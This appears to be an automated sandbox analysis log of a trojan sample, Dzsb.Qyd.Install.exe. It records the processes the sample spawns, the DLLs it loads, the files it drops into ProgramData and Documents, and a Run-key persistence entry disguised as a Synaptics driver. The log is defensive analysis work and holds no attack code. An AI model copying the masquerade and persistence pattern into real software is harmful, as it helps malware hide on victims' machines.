Source: Dzsb.Qyd.Install.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Dzsb.Qyd.Install.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: Synaptics.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RCXE0B2.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.3.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: ~$cache1.20.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: Dzsb.Qyd.Install.exe, 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileName vs Dzsb.Qyd.Install.exe
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252386493.0000000000615000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFileName vs Dzsb.Qyd.Install.exe
Source: Dzsb.Qyd.Install.exe, 00000000.00000000.1244675320.00000000004E1000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameb! vs Dzsb.Qyd.Install.exe
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameb! vs Dzsb.Qyd.Install.exe
Source: Dzsb.Qyd.Install.exe	Binary or memory string: OriginalFileName vs Dzsb.Qyd.Install.exe
Source: Dzsb.Qyd.Install.exe	Binary or memory string: OriginalFilenameb! vs Dzsb.Qyd.Install.exe

Source: Dzsb.Qyd.Install.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.troj.expl.winEXE@13/54@12/5

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

File created: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6056
Source: C:\ProgramData\Synaptics\Synaptics.exe	Mutant created: \Sessions\1\BaseNamedObjects\Synaptics2X
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3588

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\AppData\Local\Temp\I9FyyXRL.xlsm

Jump to behavior

Source: Yara match	File source: Dzsb.Qyd.Install.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Dzsb.Qyd.Install.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1244560230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXE0B2.tmp, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\DUUDTUBZFW\~$cache1, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

File read: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe "C:\Users\user\Desktop\Dzsb.Qyd.Install.exe"
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe "C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe"
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3588 -s 2896
Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe"
Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Source: C:\ProgramData\Synaptics\Synaptics.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 6328
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe "C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process created: C:\Windows\splwow64.exe C:\Windows\splwow64.exe 12288	Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: shacct.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: idstore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: wlidprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: provsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\4Un6axl.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source:

Binary string: d:\CSharp\Dzsb.Qyd\Dzsb.Qyd.Install\Debug\Dzsb.Qyd.Install.pdb source: Dzsb.Qyd.Install.exe, Synaptics.exe.0.dr, ._cache_Dzsb.Qyd.Install.exe.0.dr

Source: ._cache_Dzsb.Qyd.Install.exe.0.dr

Static PE information: section name: .textbss

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\DUUDTUBZFW\~$cache1			Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\DUUDTUBZFW\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File created: C:\Users\user\Desktop\._cache_Dzsb.Qyd.Install.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1	Jump to dropped file
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File created: C:\ProgramData\Synaptics\RCXE0B2.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	File created: C:\ProgramData\Synaptics\RCXE0B2.tmp			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\DUUDTUBZFW\~$cache1			Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\~$cache1			Jump to dropped file

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Dzsb.Qyd.Install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
